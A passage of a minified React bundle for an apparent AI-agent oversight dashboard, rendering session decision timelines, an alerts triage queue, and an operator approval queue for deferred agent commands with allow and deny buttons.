session-analysis-card-wide",children:[e.jsxs("div",{className:"section-card-header",children:[e.jsxs("div",{children:[e.jsx("p",{className:"section-kicker",children:s("session.replay")}),e.jsx("h3",{children:s("session.decisionTimeline")}),e.jsx("p",{className:"toolbar-subtitle",children:s("session.newestFirst")})]}),e.jsx("div",{role:"group","aria-label":"Session time window",className:"session-window-controls",children:tr.map(x=>{const C=$===x.value;return e.jsx("button",{type:"button",className:"secondary-button","aria-pressed":C,onClick:()=>on(x.value),"data-selected":C?"true":"false",children:x.label},x.label)})}),e.jsxs("span",{className:"section-meta",children:[d.length," events"]})]}),e.jsxs("div",{className:"decision-timeline","aria-label":"Scrollable replay window",children:[Ss.map((x,C)=>{var ie,pe,_e;const P=ur(x),M=js((ie=x.l3_trace)==null?void 0:ie.evidence_summary),ee=mr(x.meta);return e.jsxs("div",{className:"decision-timeline-row",children:[e.jsx("span",{className:"mono decision-timeline-time",children:new Date(x.recorded_at).toLocaleTimeString()}),e.jsxs("div",{className:"decision-timeline-main",children:[e.jsxs("div",{className:"decision-timeline-badges",children:[e.jsx(Dt,{decision:x.decision.decision}),e.jsx(D,{level:x.risk_snapshot.risk_level}),e.jsx(at,{tier:x.meta.actual_tier}),e.jsx("span",{className:"cmd-snippet",children:ot(x)}),e.jsx(hr,{ms:x.decision.decision_latency_ms})]}),P&&e.jsx("div",{className:"cmd-snippet decision-command",children:P.slice(0,180)}),x.decision.reason&&e.jsx("p",{className:"priority-session-meta",children:String(x.decision.reason)}),((pe=x.l3_trace)==null?void 0:pe.trigger_detail)&&e.jsxs("p",{className:"priority-session-meta",children:["Trigger detail: ",e.jsx("span",{className:"mono",children:(_e=x.l3_trace)==null?void 0:_e.trigger_detail})]}),ee&&x.meta.l3_requested!==void 0&&e.jsxs("p",{className:"priority-session-meta",children:["L3 requested: ",e.jsx("span",{className:"mono",children:x.meta.l3_requested?"yes":"no"})]}),ee&&x.meta.l3_available!==void 0&&e.jsxs("p",{className:"priority-session-meta",children:["L3 available: ",e.jsx("span",{className:"mono",children:x.meta.l3_available?"yes":"no"})]}),x.meta.l3_reason_code&&e.jsxs("p",{className:"priority-session-meta",children:["L3 reason code: ",e.jsx("span",{className:"mono",children:ve("l3ReasonCode",x.meta.l3_reason_code,t)})]}),ee&&x.meta.l3_state&&x.meta.l3_state!=="completed"&&x.meta.l3_state!=="enabled"&&e.jsxs("p",{className:"priority-session-meta",children:["L3 state: ",e.jsx("span",{className:"mono",children:ve("l3State",x.meta.l3_state,t)})]}),x.meta.l3_reason&&x.meta.l3_state&&x.meta.l3_state!=="completed"&&e.jsxs("p",{className:"priority-session-meta",children:["L3 reason: ",e.jsx("span",{className:"mono",children:x.meta.l3_reason})]}),M&&e.jsxs("p",{className:"priority-session-meta",children:["Evidence: ",e.jsx("span",{className:"mono",children:M})]})]})]},`${x.recorded_at}-${C}`)}),d.length===0&&e.jsx("div",{className:"empty-inline",children:s("session.noTrajectory")})]}),f&&e.jsx("p",{className:"priority-session-meta replay-load-more-error",role:"alert","data-tone":"warning",children:f}),u!==null&&e.jsx("div",{className:"replay-footer",children:e.jsx("button",{type:"button",className:"secondary-button",onClick:Qt,disabled:m,children:s(m?"session.loadingOlder":"session.loadOlder")})})]}),e.jsxs("section",{className:"card section-card",children:[e.jsx("div",{className:"section-card-header",children:e.jsxs("div",{children:[e.jsx("p",{className:"section-kicker",children:"Signals"}),e.jsx("h3",{children:"Observed indicators"})]})}),e.jsx("div",{className:"detail-pill-row tier-distribution-row",children:Object.entries((a==null?void 0:a.actual_tier_distribution)||{}).map(([x,C])=>e.jsxs("span",{children:[e.jsx(at,{tier:x})," ",e.jsx("span",{className:"mono",children:C})]},x))}),e.jsxs("div",{className:"detail-list-block",children:[e.jsx("span",{className:"detail-list-label",children:"Tools used"}),e.jsx("div",{className:"detail-pill-row",children:a!=null&&a.tools_used.length?a.tools_used.map(x=>e.jsx("span",{className:"cmd-snippet",children:x},x)):e.jsx("span",{className:"empty-inline",children:"No tool usage recorded."})})]}),e.jsxs("div",{className:"detail-list-block",children:[e.jsx("span",{className:"detail-list-label",children:"Risk hints"}),e.jsx("div",{className:"detail-pill-row",children:a!=null&&a.risk_hints_seen.length?a.risk_hints_seen.map(x=>e.jsx(rr,{hint:x},x)):e.jsx("span",{className:"empty-inline",children:"No risk hints recorded."})})]})]}),g&&e.jsxs("section",{className:"card section-card",children:[e.jsx("div",{className:"section-card-header",children:e.jsxs("div",{children:[e.jsx("p",{className:"section-kicker",children:"LLM"}),e.jsx("h3",{children:s("session.tokenGovernance")})]})}),e.jsxs("div",{className:"detail-meta-list",children:[e.jsx("div",{className:"detail-meta-item",children:e.jsxs("div",{children:[e.jsx("span",{children:s("session.tokenUsage")}),e.jsx("strong",{className:"mono",children:He(g,t)})]})}),e.jsx("div",{className:"detail-meta-item",children:e.jsxs("div",{children:[e.jsx("span",{children:s("session.currentPosture")}),e.jsx("strong",{className:"mono",children:g.exhausted?t==="zh"?"已耗尽":"exhausted":t==="zh"?"可用":"active"})]})}),ws&&e.jsxs("div",{className:"mono budget-warning-panel",children:[e.jsx("strong",{className:"budget-warning-title",children:s("session.tokenExhaustionEvent")}),e.jsxs("span",{children:[" · ",t==="zh"?"需要操作员关注":"Operator attention required"]}),w&&e.jsxs("div",{className:"budget-warning-detail",children:[w.provider||"unknown"," · ",w.tier||"unknown"]})]})]})]})]})]}),e.jsxs("section",{className:"session-surface session-context-surface","aria-labelledby":"session-context-heading",children:[e.jsxs("div",{className:"section-card-header session-surface-header",children:[e.jsxs("div",{children:[e.jsx("p",{className:"section-kicker",children:s("session.context")}),e.jsx("h2",{id:"session-context-heading",children:s("session.contextTitle")})]}),e.jsx("span",{className:"section-meta",children:s("session.identityMeta")})]}),e.jsxs("div",{className:"session-context-grid",children:[e.jsxs("section",{className:"card section-card session-context-card",children:[e.jsx("div",{className:"section-card-header",children:e.jsxs("div",{children:[e.jsx("p",{className:"section-kicker",children:s("session.identity")}),e.jsx("h3",{children:s("session.workspaceContext")})]})}),e.jsxs("div",{className:"detail-meta-list",children:[e.jsxs("div",{className:"detail-meta-item",children:[e.jsx(yn,{size:15}),e.jsxs("div",{children:[e.jsx("span",{children:s("session.workspaceRoot")}),e.jsx("strong",{className:"mono",children:ys(a==null?void 0:a.workspace_root,t)})]})]}),e.jsxs("div",{className:"detail-meta-item",children:[e.jsx(kn,{size:15}),e.jsxs("div",{children:[e.jsx("span",{children:s("session.transcriptPath")}),e.jsx("strong",{className:"mono",children:(a==null?void 0:a.transcript_path)||s("common.unavailable")})]})]})]})]}),e.jsxs("section",{className:"card section-card session-context-card",children:[e.jsx("div",{className:"section-card-header",children:e.jsxs("div",{children:[e.jsx("p",{className:"section-kicker",children:s("session.metadata")}),e.jsx("h3",{children:s("session.provenance")})]})}),e.jsxs("div",{className:"detail-meta-list",children:[e.jsxs("div",{className:"detail-pill-row",children:[e.jsxs("span",{className:"framework-chip",children:[e.jsx("span",{children:"Framework"}),e.jsx("strong",{children:(a==null?void 0:a.source_framework)||"unknown"})]}),e.jsxs("span",{className:"framework-chip",children:[e.jsx("span",{children:"Adapter"}),e.jsx("strong",{children:(a==null?void 0:a.caller_adapter)||"unknown"})]})]}),e.jsx("div",{className:"detail-meta-item",children:e.jsxs("div",{children:[e.jsx("span",{children:"Session ID"}),e.jsx("strong",{className:"mono",children:(a==null?void 0:a.session_id)||n||s("common.unavailable")})]})}),e.jsx("div",{className:"detail-meta-item",children:e.jsxs("div",{children:[e.jsx("span",{children:"Agent ID"}),e.jsx("strong",{className:"mono",children:(a==null?void 0:a.agent_id)||s("common.unavailable")})]})})]})]})]})]})]})}function Ht(s){return s==="warning"?"medium":s==="info"?"low":s==="critical"||s==="high"||s==="medium"||s==="low"?s:"low"}function xr(s){return{...s,severity:Ht(s.severity)}}function gr(s){return s?s.length>12?`${s.slice(0,12)}…`:s:"—"}const ht=(s,t,n)=>!(t&&s.severity!==t||n!==void 0&&s.acknowledged!==n);function jr(){const{t:s}=W(),[t,n]=l.useState([]),[i,r]=l.useState(!0),[a,o]=l.useState(!1),[d,c]=l.useState(""),[u,v]=l.useState(void 0),m=l.useCallback(async()=>{r(!0),o(!1);try{const h=await q.alerts({severity:d||void 0,acknowledged:u,limit:100});n(h.map(xr))}catch{n([]),o(!0)}r(!1)},[d,u]);l.useEffect(()=>{m()},[m]),l.useEffect(()=>{const h=setInterval(m,3e4);return()=>clearInterval(h)},[m]),l.useEffect(()=>{const h=gs(["alert"]);return h.addEventListener("alert",w=>{try{const y=JSON.parse(w.data),k={alert_id:y.alert_id,severity:Ht(y.severity),metric:y.metric,session_id:y.session_id,message:y.message,details:{},triggered_at:y.timestamp,acknowledged:!1,acknowledged_by:null,acknowledged_at:null};n(S=>ht(k,d,u)?[k,...S]:S)}catch{}}),()=>h.close()},[d,u]);const j=async h=>{try{await q.acknowledgeAlert(h),n(w=>w.map(y=>y.alert_id===h?{...y,acknowledged:!0,acknowledged_by:"dashboard",acknowledged_at:new Date().toISOString()}:y).filter(y=>ht(y,d,u)))}catch{}},f=t.filter(h=>!h.acknowledged).length,b=t.length-f,g=t.filter(h=>!h.acknowledged&&(h.severity==="high"||h.severity==="critical")).length;return e.jsxs("div",{className:"workbench-shell",children:[e.jsxs("section",{className:"workbench-hero alerts-hero","aria-labelledby":"alerts-workbench-title",children:[e.jsxs("div",{className:"workbench-hero-copy",children:[e.jsx("div",{className:"eyebrow",children:s("alerts.hero.kicker")}),e.jsxs("h1",{id:"alerts-workbench-title",children:[e.jsx(Se,{size:20,className:"alerts-title-icon"}),s("alerts.hero.title")]}),e.jsx("p",{className:"workbench-hero-text",children:s("alerts.hero.copy")})]}),e.jsxs("div",{className:"workbench-hero-side",children:[e.jsxs("span",{className:`badge ${f>0?"badge-defer":"badge-allow"}`,children:[f," open"]}),e.jsx("span",{className:"workbench-hero-note",children:g>0?`${g} priority incidents need review`:"No priority incidents pending"})]})]}),e.jsxs("section",{className:"workbench-section","aria-label":"Alerts overview",children:[e.jsxs("div",{className:"section-card-header workbench-section-header",children:[e.jsxs("div",{children:[e.jsx("div",{className:"section-kicker",children:s("alerts.overview.kicker")}),e.jsx("h2",{children:s("alerts.overview.title")})]}),e.jsx("div",{className:"section-meta",children:"Refreshes every 30 seconds and accepts live SSE inserts."})]}),e.jsxs("div",{className:"workbench-summary-grid",children:[e.jsxs("div",{className:"workbench-summary-card",children:[e.jsx("span",{className:"workbench-summary-label",children:"Queue size"}),e.jsxs("strong",{children:[t.length," total alerts"]}),e.jsx("p",{children:"All alerts matching the current server-side filters."})]}),e.jsxs("div",{className:"workbench-summary-card",children:[e.jsx("span",{className:"workbench-summary-label",children:"Needs action"}),e.jsxs("strong",{children:[f," open"]}),e.jsx("p",{children:"Unacknowledged alerts waiting for operator triage."})]}),e.jsxs("div",{className:"workbench-summary-card",children:[e.jsx("span",{className:"workbench-summary-label",children:"Resolved state"}),e.jsxs("strong",{children:[b," acknowledged"]}),e.jsx("p",{children:"Alerts already actioned inside this filtered view."})]}),e.jsxs("div",{className:"workbench-summary-card",children:[e.jsx("span",{className:"workbench-summary-label",children:"Priority load"}),e.jsxs("strong",{children:[g," high priority"]}),e.jsx("p",{children:"Open `high` or `critical` signals that should be reviewed first."})]})]})]}),e.jsxs("section",{className:"workbench-section","aria-label":"Alerts filters",children:[e.jsxs("div",{className:"section-card-header workbench-section-header",children:[e.jsxs("div",{children:[e.jsx("div",{className:"section-kicker",children:s("alerts.filters.kicker")}),e.jsx("h2",{children:s("alerts.filters.title")})]}),e.jsxs("button",{className:"btn",onClick:m,disabled:i,"aria-label":"Refresh alerts",children:[e.jsx(ft,{size:13,className:i?"spin-icon":void 0}),s("common.refresh")]})]}),e.jsxs("div",{className:"workbench-filter-grid",children:[e.jsxs("label",{className:"workbench-field",children:[e.jsx("span",{className:"workbench-field-label",children:"Severity"}),e.jsxs("select",{"aria-label":"Severity filter",value:d,onChange:h=>c(h.target.value),children:[e.jsx("option",{value:"",children:"All Severities"}),e.jsx("option",{value:"low",children:"Low"}),e.jsx("option",{value:"medium",children:"Medium"}),e.jsx("option",{value:"high",children:"High"}),e.jsx("option",{value:"critical",children:"Critical"})]})]}),e.jsxs("label",{className:"workbench-field",children:[e.jsx("span",{className:"workbench-field-label",children:"Status"}),e.jsxs("select",{"aria-label":"Alert status filter",value:u===void 0?"":String(u),onChange:h=>v(h.target.value===""?void 0:h.target.value==="true"),children:[e.jsx("option",{value:"",children:"All Status"}),e.jsx("option",{value:"false",children:"Unacknowledged"}),e.jsx("option",{value:"true",children:"Acknowledged"})]})]})]})]}),e.jsxs("section",{className:"workbench-section","aria-label":"Alerts triage queue",children:[e.jsxs("div",{className:"section-card-header workbench-section-header",children:[e.jsxs("div",{children:[e.jsx("div",{className:"section-kicker",children:s("alerts.queue.kicker")}),e.jsx("h2",{children:s("alerts.queue.title")})]}),e.jsx("div",{className:"section-meta",children:"Severity, session, and action state are grouped per alert."})]}),t.length===0&&!i?e.jsx("div",{className:"card workbench-empty-card",children:a?e.jsx(ue,{icon:e.jsx(pt,{size:20}),title:s("alerts.error.title"),subtitle:s("alerts.error.subtitle")}):e.jsx(ue,{icon:e.jsx(Se,{size:20}),title:s("alerts.empty.title"),subtitle:s("alerts.empty.subtitle")})}):e.jsx("div",{className:"operator-list",children:t.map(h=>e.jsxs("article",{className:`operator-card alert-card alert-card-${h.severity}${h.acknowledged?" alert-card-acknowledged":""}`,children:[e.jsxs("div",{className:"operator-card-main",children:[e.jsxs("div",{className:"operator-card-topline",children:[e.jsxs("div",{className:"operator-card-tags",children:[e.jsx(D,{level:h.severity}),e.jsx("span",{className:`badge ${h.acknowledged?"badge-allow":"badge-defer"}`,children:h.acknowledged?e.jsxs(e.Fragment,{children:[e.jsx(wn,{size:12}),"acknowledged"]}):e.jsxs(e.Fragment,{children:[e.jsx(Nn,{size:12}),"open"]})}),e.jsx("span",{className:"badge badge-neutral",children:h.metric})]}),e.jsx("div",{className:"operator-time",children:new Date(h.triggered_at).toLocaleString()})]}),e.jsx("h3",{className:"operator-card-title",children:h.message}),e.jsxs("div",{className:"operator-card-meta",children:[e.jsxs("div",{className:"operator-meta-block",children:[e.jsx("span",{className:"operator-meta-label",children:"Metric"}),e.jsx("strong",{className:"mono",children:h.metric})]}),e.jsxs("div",{className:"operator-meta-block",children:[e.jsx("span",{className:"operator-meta-label",children:"Session"}),e.jsx(F,{to:`/sessions/${h.session_id}`,className:"operator-session-link",children:gr(h.session_id)})]}),e.jsxs("div",{className:"operator-meta-block",children:[e.jsx("span",{className:"operator-meta-label",children:"State"}),e.jsx("strong",{children:h.acknowledged?"Acknowledged":"Needs acknowledgement"})]})]})]}),e.jsxs("div",{className:"operator-card-side",children:[e.jsxs("div",{className:"operator-side-panel",children:[e.jsx("span",{className:"operator-meta-label",children:"Severity"}),e.jsx("strong",{className:`alert-severity-text alert-severity-text-${h.severity}`,children:h.severity}),e.jsx("span",{className:"text-muted",children:h.acknowledged?`Acknowledged by ${h.acknowledged_by||"dashboard"}`:"Escalate or acknowledge to clear the queue"})]}),h.acknowledged?e.jsx("span",{className:"operator-resolution-note",children:h.acknowledged_at?`Closed ${new Date(h.acknowledged_at).toLocaleString()}`:"Closed"}):e.jsx("button",{className:"btn btn-primary",onClick:()=>j(h.alert_id),"aria-label":`Acknowledge alert ${h.message}`,children:"Acknowledge"})]})]},h.alert_id))})]})]})}function _r({expiresAt:s,totalSeconds:t=30,onExpired:n}){const{t:i}=W(),[r,a]=l.useState(()=>Math.max(0,s-Date.now()/1e3));if(l.useEffect(()=>{const b=setInterval(()=>{const g=Math.max(0,s-Date.now()/1e3);a(g),g<=0&&(clearInterval(b),n==null||n())},500);return()=>clearInterval(b)},[s,n]),r<=0)return e.jsx("span",{className:"mono countdown-expired",children:i("countdown.expired")});const o=r<10,d=Math.min(1,r/t),c=16,u=2*Math.PI*c,v=d*u,m=Math.floor(r/60),j=Math.floor(r%60),f=m>0?`${m}:${String(j).padStart(2,"0")}`:`${j}s`;return e.jsxs("div",{className:`countdown-timer${o?" countdown-timer-urgent":""}`,children:[e.jsxs("svg",{width:40,height:40,className:"countdown-ring",children:[e.jsx("circle",{className:"countdown-ring-track",cx:20,cy:20,r:c,fill:"none",strokeWidth:3}),e.jsx("circle",{className:"countdown-ring-progress",cx:20,cy:20,r:c,fill:"none",strokeWidth:3,strokeDasharray:`${v} ${u}`,strokeLinecap:"round"})]}),e.jsx("span",{className:"mono countdown-value",children:f})]})}function ut(s,t){const n=t.command.trim(),i=n.length>48?`${n.slice(0,45)}...`:n,r=i?` for command ${i}`:"";return`${s} approval ${t.tool_name} for session ${t.session_id}${r} (${t.approval_id})`}function br(){const{t:s}=W(),[t,n]=l.useState([]),[i,r]=l.useState(!0),[a,o]=l.useState(!1);l.useEffect(()=>{const f=gs(["defer_pending","defer_resolved"]);return f.addEventListener("defer_pending",b=>{try{const g=JSON.parse(b.data);n(h=>{if(h.some(y=>y.approval_id===g.approval_id))return h;const w=g.timeout_s>0?Date.parse(g.timestamp)/1e3+g.timeout_s:void 0;return[{approval_id:g.approval_id,session_id:g.session_id,tool_name:g.tool_name,command:g.command,reason:g.reason,timestamp:g.timestamp,expires_at:w,status:"pending"},...h]})}catch{}}),f.addEventListener("defer_resolved",b=>{try{const g=JSON.parse(b.data);n(h=>h.map(w=>w.approval_id===g.approval_id?{...w,status:g.resolved_decision==="block"?"denied":"allowed",reason:g.resolved_reason||w.reason,timestamp:g.timestamp}:w))}catch{}}),()=>f.close()},[]),l.useEffect(()=>{},[t.length]);const d=l.useCallback(async(f,b)=>{try{await q.resolve(f,b,b==="deny"?"operator denied via dashboard":""),n(g=>g.map(h=>h.approval_id===f?{...h,status:b==="allow-once"?"allowed":"denied"}:h))}catch(g){g instanceof Tt&&g.status===503&&r(!1)}},[]),c=l.useCallback(f=>{n(b=>b.map(g=>{if(g.approval_id!==f||g.status!=="pending")return g;const h=g.expires_at?new Date(g.expires_at*1e3).toISOString():new Date().toISOString();return{...g,status:"expired",timestamp:h}}))},[]),u=t.filter(f=>f.status==="pending"),v=t.filter(f=>f.status==="allowed"||f.status==="denied"),m=t.filter(f=>f.status!=="pending"),j=t.filter(f=>f.status==="expired");return e.jsxs("div",{className:"workbench-shell",children:[e.jsxs("section",{className:"workbench-hero defer-hero","aria-labelledby":"defer-approvals-title",children:[e.jsxs("div",{className:"workbench-hero-copy",children:[e.jsx("div",{className:"eyebrow",children:s("defer.hero.kicker")}),e.jsxs("h1",{id:"defer-approvals-title",children:[e.jsx(he,{size:20,className:"workbench-title-icon"}),s("defer.hero.title")]}),a&&e.jsx("span",{className:"showcase-pill",children:"Showcase mode · demo approval"}),e.jsx("p",{className:"workbench-hero-text",children:s("defer.hero.copy")})]}),e.jsxs("div",{className:"workbench-hero-side",children:[e.jsxs("span",{className:`badge ${u.length>0?"badge-defer":"badge-allow"}`,children:[u.length," ",s("defer.pending")]}),e.jsx("span",{className:"workbench-hero-note",children:s(i?"defer.resolveConnected":"defer.resolveUnavailable")})]})]}),e.jsxs("section",{className:"workbench-section","aria-label":"Defer approvals overview",children:[e.jsxs("div",{className:"section-card-header workbench-section-header",children:[e.jsxs("div",{children:[e.jsx("div",{className:"section-kicker",children:s("defer.overview")}),e.jsx("h2",{children:s("defer.posture")})]}),e.jsx("div",{className:"section-meta",children:"Pending decisions stream in over SSE and stay local to the operator view."})]}),e.jsxs("div",{className:"workbench-summary-grid",children:[e.jsxs("div",{className:"workbench-summary-card",children:[e.jsx("span",{className:"workbench-summary-label",children:"Pending"}),e.jsxs("strong",{children:[u.length," approvals waiting"]}),e.jsx("p",{children:"Requests that still need an allow or deny decision."})]}),e.jsxs("div",{className:"workbench-summary-card",children:[e.jsx("span",{className:"workbench-summary-label",children:"Operator decisions"}),e.jsxs("strong",{children:[v.length," operator decisions"]}),e.jsx("p",{children:"Approvals explicitly allowed or denied by an operator."})]}),e.jsxs("div",{className:"workbench-summary-card",children:[e.jsx("span",{className:"workbench-summary-label",children:"Expired"}),e.jsxs("strong",{children:[j.length," timed out"]}),e.jsx("p",{children:"Pending requests that aged out before an operator decision."})]}),e.jsxs("div",{className:"workbench-summary-card",children:[e.jsx("span",{className:"workbench-summary-label",children:"Operator channel"}),e.jsx("strong",{children:i?"Interactive":"Read only"}),e.jsx("p",{children:i?"Actions are available for incoming approvals.":"Actions are disabled until enforcement reconnects."})]})]})]}),!i&&e.jsx("div",{className:"card workbench-banner",children:e.jsxs("div",{className:"workbench-banner-content",children:[e.jsx(vt,{size:15}),"Resolve not available — OpenClaw enforcement is not connected"]})}),e.jsxs("section",{className:"workbench-section","aria-label":"Pending approvals queue",children:[e.jsxs("div",{className:"section-card-header workbench-section-header",children:[e.jsxs("div",{children:[e.jsx("div",{className:"section-kicker",children:s("defer.pendingQueue")}),e.jsx("h2",{children:s("defer.pendingQueueTitle")})]}),e.jsx("div",{className:"section-meta",children:"Due time, command scope, and operator actions are grouped per approval."})]}),u.length===0?e.jsx("div",{className:"card workbench-empty-card",children:e.jsx(ue,{icon:e.jsx(he,{size:20}),title:s("defer.noPendingTitle"),subtitle:s("defer.noPendingSubtitle")})}):e.jsx("div",{className:"operator-list",children:u.map(f=>{const g=(f.expires_at?f.expires_at-Date.now()/1e3:999)<10;return e.jsxs("article",{className:`operator-card defer-card ${g?"defer-card-critical":"defer-card-pending"}`,children:[e.jsxs("div",{className:"operator-card-main",children:[e.jsxs("div",{className:"operator-card-topline",children:[e.jsxs("div",{className:"operator-card-tags",children:[e.jsx("span",{className:"badge badge-defer",children:"pending"}),e.jsx("span",{className:"badge badge-neutral",children:f.tool_name}),g&&e.jsx("span",{className:"badge badge-block",children:"due soon"})]}),e.jsx("div",{className:"operator-time",children:new Date(f.timestamp).toLocaleTimeString()})]}),e.jsx("h3",{className:"operator-card-title",children:f.tool_name}),e.jsx("div",{className:"cmd-snippet operator-command",children:f.command||"—"}),f.reason&&e.jsx("p",{className:"operator-card-description",children:f.reason}),e.jsxs("div",{className:"operator-card-meta",children:[e.jsxs("div",{className:"operator-meta-block",children:[e.jsx("span",{className:"operator-meta-label",children:"Session"}),e.jsx("strong",{className:"mono",children:f.session_id})]}),e.jsxs("div",{className:"operator-meta-block",children:[e.jsx("span",{className:"operator-meta-label",children:"Pending state"}),e.jsx("strong",{children:i?"Operator decision required":"Awaiting reconnection"})]}),e.jsxs("div",{className:"operator-meta-block",children:[e.jsx("span",{className:"operator-meta-label",children:"Command"}),e.jsx("strong",{className:"mono",children:f.command||"—"})]})]})]}),e.jsxs("div",{className:"operator-card-side",children:[e.jsxs("div",{className:"operator-side-panel",children:[e.jsx("span",{className:"operator-meta-label",children:"Due time"}),f.expires_at?e.jsx(_r,{expiresAt:f.expires_at,onExpired:()=>c(f.approval_id)}):e.jsxs("div",{className:"operator-no-timeout",children:[e.jsx(Sn,{size:13,className:"text-muted"}),e.jsx("span",{className:"mono text-muted operator-no-timeout-copy",children:s("defer.noTimeout")})]})]}),e.jsxs("div",{className:"operator-action-group",children:[e.jsx("button",{className:"btn btn-allow",onClick:()=>d(f.approval_id,"allow-once"),disabled:!i,"aria-label":ut("Allow",f),children:s("defer.allow")}),e.jsx("button",{className:"btn btn-deny",onClick:()=>d(f.approval_id,"deny"),disabled:!i,"aria-label":ut("Deny",f),children:s("defer.deny")})]})]})]},f.approval_id)})})]}),e.jsxs("section",{className:"workbench-section","aria-label":"Approval outcomes history",children:[e.jsxs("div",{className:"section-card-header workbench-section-header",children:[e.jsxs("div",{children:[e.jsx("div",{className:"section-kicker",children:s("defer.history")}),e.jsx("h2",{children:s("defer.historyTitle")})]}),e.jsx("div",{className:"section-meta",children:"Operator decisions and timed-out requests stay visible for quick operator audit."})]}),m.length===0?e.jsx("div",{className:"card workbench-empty-card",children:e.jsx(ue,{icon:e.jsx(he,{size:20}),title:s("defer.noOutcomesTitle"),subtitle:s("defer.noOutcomesSubtitle")})}):e.jsx("div",{className:"operator-history-list",children:m.map(f=>e.jsxs("div",{className:"operator-history-card",children:[e.jsx("span",{className:`badge ${f.status==="allowed"?"badge-allow":f.status==="denied"?"badge-block":"badge-defer"}`,children:f.status}),e.jsx("span",{className:"mono",children:f.tool_name}),e.jsx("span",{className:"cmd-snippet operator-history-command",children:f.command||"—"}),f.status==="expired"&&e.jsx("span",{className:"text-muted",children:"Timed out without an operator decision"}),e.jsx("span",{className:"text-muted mono operator-history-time",children:new Date(f.timestamp).toLocaleTimeString()})]},f.approval_id))})]})]})}function yr(){const{authenticated:s,checking:t,authFailure:n,check:i,login:r}=sa(),[a,o]=l.useState(!1);return l.useEffect(()=>{const d=new URLSearchParams(window.location.search),c=d.get("token");if(c){Ct(c),d.delete("token");const u=d.toString()?`${window.location.pathname}?${d.toString()}`:window.location.pathname;window.history.replaceState({},"",u)}o(!0)},[]),l.useEffect(()=>{a&&i()},[a,i]),!a||s===null?e.jsx("div",{className:"login-container",children:e.jsxs("div",{style:{textAlign:"center"},children:[e.jsx("span",{className:"status-dot checking",style:{width:12,height:12}}),e.jsx("p",{className:"text-muted mono",style:{marginTop:12,fontSize:"0.8rem"},children:"Connecting..."})]})}):s===!1?e.jsx(pa,{onLogin:r,authFailure:n,checking:t}):e.jsx(Gi,{basename:"/ui",children:e.jsx(Di,{children:e.jsxs(ae,{element:e.jsx(ua,{}),children:[e.jsx(ae,{index:!0,element:e.jsx(Ha,{})}),e.jsx(ae,{path:"sessions",element:e.jsx(Za,{})}),e.jsx(ae,{path:"sessions/:sessionId",element:e.jsx(vr,{})}),e.jsx(ae,{path:"alerts",element:e.jsx(jr,{})}),e.jsx(ae,{path:"defer",element:e.jsx(br,{})}),e.jsx(ae,{path:"*",element:e.jsx(zi,{to:"/",replace:!0})})]})})})}qn.createRoot(document.getElementById("root")).render(e.jsx(Rn.StrictMode,{children:e.jsx(ia,{children:e.jsx(yr,{})})}));
